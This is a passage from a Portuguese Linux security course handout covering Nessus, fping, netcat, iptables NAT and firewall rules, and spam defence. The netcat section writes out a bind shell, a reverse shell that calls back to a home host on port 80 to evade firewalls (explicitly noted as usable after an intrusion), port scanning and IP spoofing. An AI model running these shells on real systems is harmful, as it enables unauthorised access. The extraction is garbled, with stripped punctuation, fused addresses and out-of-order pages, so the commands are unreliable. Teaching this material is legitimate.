pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 28: Curso de segurança em linux e redes em geral

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir 